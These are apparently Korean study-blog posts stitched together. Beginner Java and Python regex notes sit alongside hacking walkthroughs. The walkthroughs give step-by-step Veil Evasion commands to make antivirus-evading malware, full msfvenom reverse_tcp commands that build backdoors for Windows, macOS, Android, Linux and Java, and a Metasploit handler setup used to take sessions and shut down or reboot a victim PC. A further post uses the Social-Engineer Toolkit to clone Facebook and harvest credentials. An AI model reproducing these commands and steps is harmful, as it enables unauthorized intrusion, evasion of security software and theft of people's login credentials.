setup 폴더에 들어가서 ./setup.sh -c 를 실행해 설치한다. 안하면 Veil이 작동을 안한다.

-c = clone veil framework repos

-u = update veil framework repos

 

 

설치를 다 완료한다.

 

 

Veil 파일에 ./Veil.py를 실행하고

main menu choice에 use Evasion 실행.

 

 

use 28 실행

set lhost (자신 아이피) 실행

generate 실행

 

 

rc파일 경로 저장한후 새터미널 msfconsole -r(경로) 파일 위치 실행

veil1.exe 가 백신우회된 악성코드다.

 

 

내가 만든 악성코드에 msfconsole로 접속한후 pc윈도우에서 veil1.exe 접속

 

 

 

메타스폴로잇으로 만든 악성코드 발견 감지

 

 

누가 들어왔는지 세션이 검색 되었다.

 

sessions -i 1

 

reboot 하면 상대 pc 재부팅.

System.out.println( 3+4 )
★산술 연산자
+ <--좌항의 값과 우항의 값을 더하기 (부호 연산자)
- <--좌항의 값과 우항의 값 빼기 (부호 연산자)
* <--좌항의 값과 우항의 값 곱하기
/ <--좌항의 값과 우항의 값 나누기한 몫
% <--좌항의 값에 우항의 값을 나누기한 나머지

 

결과

9

16

15

1

4

 

= <-- 우항에 있는 값을 좌항에 대입

 

문자 기호 : 알파벳, 소문자 특수문자 한글

 

문자열이라고 하는 것은 문자가 2개 이상인 것

 

' <-- 싱글쿼터사이에 있는 문자임
"" <-- 더블쿼터 사이에 있는 것이 문자열.

 

숫자는 ' "" 필요 없음
' 는 한글자만 가능
"" 여러글자 가능

 

' 안쓴다.

 

 

System.out.println("안녕하세요."홍길동"입니다"); 이렇게 하면 오류가 발생한다. 그래서 홍길동에 역슬래시로

오류가 발생하지 않게 해야한다.

 

★메타 문자 : 특수기호(!@$%!@'""~)가 특수한 기능을 부여 받은 문자.
메타 문자를 이스케이프 시퀀스라고 칭함
더블쿼터 안에 더블쿼터 불가능

 

메타문자의 특수 기능을 제거하는 것을 이스케이프 처리한다고 표현
escape: 기능을 제거  -> System.out.println("안녕하세요. \"홍길동\" 입니다");

 

원표시나 역슬래시는 같은 문자.

 

\n (줄 바꿈) 메타 문자.

 

하나의 println으로 출력할 것을 여러개의 println을 사용해서 출력하면 성능 저하
콘솔에 출력할 내용을 한줄을 출력하는 거에 하나의 println을 사용하면 가독성이 뛰어남

 

// 주석, 코드설명
한줄 아무데나 ctrl+/  주석 단축키

 

 

 

블럭 씌운 상태에서 단축키 사용하면 블럭 친 행을 전부 주석처리

 

System.out.println("동동은 "+"동해번쩍 서해번쩍");

+ <-- 산술연산자가 아니라 붙임 연산자

 

 

변수선언과 300값으로 초기화해주면 전체적으로 코딩할때 수월해진다.

 

 

★변수

- 메모리 공간을 분류하는 단위
- 변할수 있는 수를 뜻. 언제든지 바꿔 사용가능

 

★변수의 자료형

- 변수에 저장하는 데이터의 자료의 형태를 뜻
- 이 메모리 공간에 어떤 형태의 데이터를 저장하는지 컴퓨터에게 알려줘야한다.

 

★int - 저장하는 데이터가 정수.

 

자바에서 변수선언은 여러개를 한줄에 진행할수 있자만, 여러 변수 초기화는 한줄에 할수 없다.

 

 

println 으로 사용하게 되면

 

 

입력: 옆에 써지지 않고 다음줄에 쓰여져서 보기 흉하다.

 

입력 대기 상태 : 입력을 기다리고 있는 상태
nextInt() 라는 함수가 실행되면 입력 대기 상태를 만들어서 사용자의 입력을 기다리게됨.

 

 

이 예제는 정수 두값을 더하는 코드다.

nextInt()대신에 nextLine()을 쓰면 오류.

 

★자료형중에 double 실수를 저장.
nextDouble();

 

 

 

 

String 은 nextLine을 사용해야한다.

nextLine() 함수를 통해 사용자한테 문자열을 입력 받을수 있다.
- 사용자가 입력한 값을 String 자료형의 변수에 값으로 넣을수 있음.

 

 

 

자료형 중에 char 자료형은 문자를 저장하는 자료형
' 한글자만

 

 

결과가 20이 출력된다.

 

 

결과 6 9 출력

 

 

결과 10 11 출력

 

 

 

 

★복합 연산자
+= : 좌항의 값과 우항의 값을 더하기 연산을 해서 좌항의 값으로 초기화하라는 의미
-= :
좌항의 값과 우항의 값을 빼기 연산을 해서 좌항의 값으로 초기화하라는 의미
*= : 좌항의 값과 우항의 값을 곱하기 연산을 해서 좌항의 값으로 초기화하라는 의미
/= : 좌항의 값과 우항의 값을 나누기 연산을 해서 좌항의 값으로 초기화하라는 의미
%= : 좌항의 값과 우항의 값을 나머지 연산을 해서 좌항의 값으로 초기화하라는 의미

 

이항 연산자 : 좌항과 우항을 모두 갖는 연산자 (10+20)
단항 연산자 : 좌항이면 좌항 우항이면 우항으로 하나의 항만을 갖는 연산자 (+7)

 

★증감 연산자
-전위 연산자 : ++변수이름 , 우선순위가 가장 높다
-후위 연산자 : 변수이름++ , 우선순위가 가장 낮다

 

★메모리 - 데이터를 저장하는 공간

★RAM - 메모리를 제공해 주는 HW (1회용)
 (휘발성 메모리) 컴퓨터 전원꺼진 순간 데이터가 날라간다.
장점 : 속도가 매우 빠르다.
단점 : 저장할수 있는 공간 사이즈가 작다.

 

★HDD - 메모리를 제공해주는 HW
 (비 휘발성 메모리) 전력공급이 중단되도 저장된걸 기억한다.
장점 : 저장할 수 있는 공간의 사이즈가 큼
단점 : 속도가 매우 느림.

 

★SDD - 비 휘발성 메모리.
HDD보단 속도가 빠르다.

 

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ Class  (0) 2017.07.05
JAVA/ 메소드,return,함수  (0) 2017.07.02
JAVA/ 반복문(while,for)  (0) 2017.06.28
JAVA/ (비교,논리)연산자, 조건문 case  (0) 2017.06.24
JAVA/ 환경 및 개발구축준비  (0) 2017.06.17

악성코드를 만들려면 어떤 운영체제의 악성코드를 만들어야 되는지 알아야한다.

윈도우,자바,안드로이드,리눅스,애플

 

백도어 -  시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다

 

터미널

1. 내부 아이피 확인

2. msfvenom -l

- 모듈 유형을 나열

- payload, encorder, nop 등의 모듈 정보 확인

 

msfvenom - 메타스플로잇 독립 페이로드 생성기

 

메타스플로잇?- 오픈소스 도구, 공격 코드 보안 테스팅 등을 제공하는 일종의 체계

 

특징

- 공개된 공격 코드 정리/검증으로 시간 단축

- 여러 플랫폼에서 사용가능

- 취약점 빠르게 최신화

- 취약점에 대한 쉘코드 제공

 

메타스플로잇 용어

1. Exploit

- 공격자 또는 모의해킹 테스터가 서비스 내의 결함을 찾는데에 유익한 수단

- 일반적인 exploit은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-Injection) 설정 에러등을 모두 포함.

 

버퍼 오버플로우??- 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다 

 

2. Payload

- 시스템 상에서 실행 되길 원하는 코드 , 프레임 워크에 의해 선택되고 처리되는 코드

-  웜, 바이러스, 트로이목마 같은 해로운 소프트웨어를 분석할 때 페이로드는 그 소프트웨어가 주는 피해를 뜻한다.

 

프레임 워크 -  정보시스템을 개발할 때 활용되는 개발 · 실행 · 테스트 · 운영 환경을 지원하는 소프트웨어이다

 

장점: 하나의 단일 도구 , 표준화된 명령줄 옵션, 속도 향상

 

 msfvenom -l

 

 

 

meterpreter???

-이명령어를 사용하여 타겟에 파일업로드, 관리자 패스워드, 백도어생성, 키로그, VNC Insert 많은일을 할수 있다.

 

osx/x86/shell_reverse_tcp

- 애플 pc 악성코드용

 

windows/meterpreter/reverse_tcp

 

android/meterpreter/reverse_tcp

 

linux/x86/meterpreter/reverse_tcp

 

java/meterpreter/reverse_tcp

-자바 관련 파일 악성코드용

 

msfvenom -p osx/x86/shell_reverse_tcp lhost=192.168.0.7 lport=1234 -f macho > /root/바탕화면/apple.macho

 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 -f exe > /root/바탕화면/windows.exe

 

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/android.apk

 

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 -f elf > /root/바탕화면/linux.elf

 

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/java.jar

 

-p = payload

-f = 확장자

 

 

5개 악성파일이 만들어 진것을 볼수 있다.

저파일을 프로그램과 연결시켜주면 트로이목마가 되는것이다.

 

가상 윈도우7에 내가만든 윈도우OS를 보낸다 .

 

터미널창

msfconsole 실행

- 메타스폴로잇 실행

 

use exploit/multi/handler

 

 

set exitonsession false  -> 세션 백그라운드 설정

 

exploit -j  -> 서버를 시작  리스너

 

 

가상윈도우 에서 악성코드 실행하면 칼리에서 세션이 뜨는거 확인.

 

 

명령어 sessions 을 입력하면 어디에서 열렸는지 정보가 나온다.

 

sessions -i 1 을 입력하면 윈도우와 연결이 된다.

 

meterpreter이 나오게 되고 셧다운을 실행하면 그 상대 pc는 종료하게 된다.

 


하드웨어 : 컴퓨터 노트북 이런 장비에 정착 되 있는 전자 기기
os: 하드웨어를 제어 및 관리하는 프로그래밍

 

운영체제는 32bit , 64bit

bit는 컴퓨터 용량의 단위중 가장 작은 단위

 

32bit면 한번에 처리할수 있는 용량
64bit 한번에 많은 것을 처리할수 있어 성능이 빠르다.

 

★사용자 환경의 종류
GUI (그래픽 유저 인터페이스) : 그래픽 환경에서의 작업하는 환경
CLI(cmd) : 명령어 환경에서의 작업하는 환경

 

cmd = 콘솔 = 커멘드창 = 명령프롬프트

 

cls = clear

 

system.out.println("hi")  hi 출력, println 함수라고 칭함

 

컴파일러 : 사람이 쓰는 프로그래밍 언어를 컴퓨터 언어로 번역

바이트코드는 jvm이 해석할수 있는 코드

jvm = 자바 가상 머신

바이트코드는 jvm을 읽어 들여서 그 코드에 있는 명령대로 작업을 진행 해줌(프로그램 가동)

 

java는 jvm에서 컴파일 작업을 추가로 진행하기 때문에 프로그램을 실행할 때 컴파일 한번 더한다.

다른 언어들에 비해 느리다.
장점- 운영체제에 종속적이지 않다.

 

println(" ")  //""문자열을 나타낸다.

 

이클립스 : 자바 프로그래밍 개발 도구
NetBeans, 이클립스, 아톰 등등    =  IDE
미국 - 아톰
한국 - 이클립스

 

★java SE(standard edition): java의 표준안
★jdk(java development kit): SE 를 기반으로 만들어진 패키지 개발에 필요한 각종 도구들과 있는 패키지
★JRE(Java Runtime Environment): 자바로 만든 프로그램을 실행하기 위해서 필요한것들이 묶여있는 패키지
   jvm과 표준 라이브러리라는 것이 묶여있다.

 

★라이브러리 : 이미 사전에 만들어져 있는 소스코드
- 외부 라이브러리 : 개발자가 만든 라이브러리
- 내장 라이브러리 : java에서 자체적으로 제공하는 라이브러리

 

이클립스에서의 프로젝트란 프로그램을 구분하는 단위

만약 이클립스에서 프로그램 1개를 만들기 위해서는 프로젝트를 만들어야한다.

 

 

public static void main(String args[])

- public : 접근 제한자, 어디서든 참조할수 있는 넓은 범위

- static : 메모리에 제일 먼저 로딩

- void : 리턴 값을 의미

- main : 메소드의 이름

- String[] : String 형 배열

- args : 배열의 이름

 

코드 자동완성  sys 치고 ctrl+spacebar 원하는거 클릭

 

bin 폴더 확장자 class  바이트코드
src 폴더 자바 소스코드

 

급 궁금. c언어

void main() int main()

void는 없다는 개념

그러면

void main() : main이라는 함수이고 리턴값이 없다(void)

int main(): main이라는 함수이고 함수의 리턴값이 int형이다. 그래서 보통 프로그램 종료를 알리는 return 0를 마지막에 넣어준다.

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ Class  (0) 2017.07.05
JAVA/ 메소드,return,함수  (0) 2017.07.02
JAVA/ 반복문(while,for)  (0) 2017.06.28
JAVA/ (비교,논리)연산자, 조건문 case  (0) 2017.06.24
JAVA/ 자료형,변수,입출력  (0) 2017.06.18

키로거 - 상대방이 키보드를 입력하면 내화면에 보여주는것

 

사이트 클론 - 웹사이트를 똑같이 복사

 

setoolkit- 소셜 엔지니어 툴키트 칼리리눅스 도구

 

터미널창에 내부 아이피 알아낸 후 setoolkit 실행

 

 

1번 실행

 

 

2번 실행

 

 

3번 실행

Credential Harvester Attack 공격은 실제사이트와 유사한 phishing 사이트를 만들어 상대방의 아이디와 비밀번호를 탈취하는 기술이다.

Credential - 암호학적 개인 정보

Harvester - 수확

 

 

내부아이피 적은후 웹 복사할 주소 실행

 

상대방 pc에 내 아이피를 실행하면 페이스북 실행 확인. 로그인 실행

로그 파일은 /var/www/html 파일에 저절로 저장이 된다.

 

내부아이피 치고 웹복사 실행 그만 하고 싶을때 service apache2 stop

★정규 표현식(Regular Expressions)

- 복잡한 문자열을 처리할때 사용하는 기법

- 문자열을 처리하는 모든 곳에서 사용.

- 줄여서 정규식.

 

정규식은 고급 주제.

 

 

★정규식 기초, 메타 문자

 

. & $ * + ? { } [ ] \ | ( )

 

문자 클래스 []

[]사이에는 어떤 문자도 들어갈수 있다.

[] 안의 두문자 사이에 하이픈(-)을 사용하게 되면 두문자 범위를 의미.

[a-c]는 [abc]동일 [0-5]sms[012345]

[a-zA-z] : 알파벳 모두

 

^는 반대의 의미 [^0-9] 숫자가아닌 문자만을 의미.

 

★자주 사용하는 문자 클래스

 

\d - 숫자와 매치 [0-9]

\D - 숫자가 아닌 것과 매치 [^0-9]

 

★Dot(.)

줄바꿈 문자인 \n을 제외한 모든 문자와 매치됨을 의미

 

하지만 re.DOTALL 옵션을 주면 \n문자와 매치 가능.

 

a.b

"a + 모든 문자 + b"

 

a[.]b

"a + Dot(.)문자 + b"

 

★반복(*)

ca*t

*바로 앞에 있는 문자 a가 0부터 무한대로 반복의미

무한대(2억개)

 

★반복(+)

+최소 1번 이상 반복될때 사용

*가 반복횟수 0부터라면 +는 반복횟수  1부터

 

ca+t

"c+a(1번 이상 반복) + t"

 

ca{2}t

a가 2번 반복매치

 

ca{2,5}t

a가 2~5회 반복매치

 

★?

ab?c

"a + b(있어도 되고 없어도 된다) + c"

 

★정규식 지원 re 모듈

 

re(regular expression의 약어) 모듈 제공

컴파일 된 패턴 객체는 4가지 메소드 제공

 

 

 match, search는 정규식과 매치 될때는 match객체를 리턴하고 매치 되지 않을 경우 none을 리턴.

 

 

 span() : 매치된 문자열의 (시작, 끝) 튜플 리턴

 

 

첫번째 문자가 3이지만 문자열 전체를 검색하기 때문에 3 이후의 python 이라는 문자열과 매치

 

★findall

리스트로 리턴

 

 

★match 객체의 메서드

어떤 문자열이 매치?

매치된 문자열의 인덱스는 어디서부터 어디까지?

 

 

 

'Python > Python' 카테고리의 다른 글

Python-외장함수  (0) 2017.06.16
Python-내장 함수  (0) 2017.06.12
Python-오류 예외 처리  (0) 2017.06.11
Python-모듈  (0) 2017.06.10
Python-Class  (0) 2017.06.08

+ Recent posts